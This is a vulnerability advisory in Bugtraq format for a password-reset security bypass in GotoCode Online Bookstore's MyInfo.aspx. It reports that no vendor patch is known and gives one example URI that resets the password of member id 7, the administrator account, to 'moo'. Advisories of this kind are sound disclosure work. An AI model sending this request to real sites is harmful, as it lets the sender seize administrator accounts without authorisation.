GotoCode Online Bookstore 'MyInfo.aspx' Password Reset Security Bypass Vulnerability

Bugtraq ID:	49910
Class:	Access Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 03 2011 12:00AM
Updated:	Oct 03 2011 12:00AM
Credit:	Nathaniel Carew
Vulnerable:	GotoCode Online Bookstore 0
Not Vulnerable:

GotoCode Online Bookstore 'MyInfo.aspx' Password Reset Security Bypass Vulnerability

GotoCode Online Bookstore is prone to a security-bypass vulnerability.

Exploiting this issue could allow attackers to compromise the application; other attacks are also possible.

GotoCode Online Bookstore 'MyInfo.aspx' Password Reset Security Bypass Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/MyInfo.aspx?p_Form_member_id=7&Form_member_id=7&Form_member_password=moo&Form_name=Administrator&Form_last_name=Account&Form_email=admin%40localhost&Form_address=&Form_phone=&Form_notes=&Form_card_type_id=1&Form_card_number=111111111111

GotoCode Online Bookstore 'MyInfo.aspx' Password Reset Security Bypass Vulnerability

Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

GotoCode Online Bookstore 'MyInfo.aspx' Password Reset Security Bypass Vulnerability

References:

• Online Bookstore Homepage (GotoCode)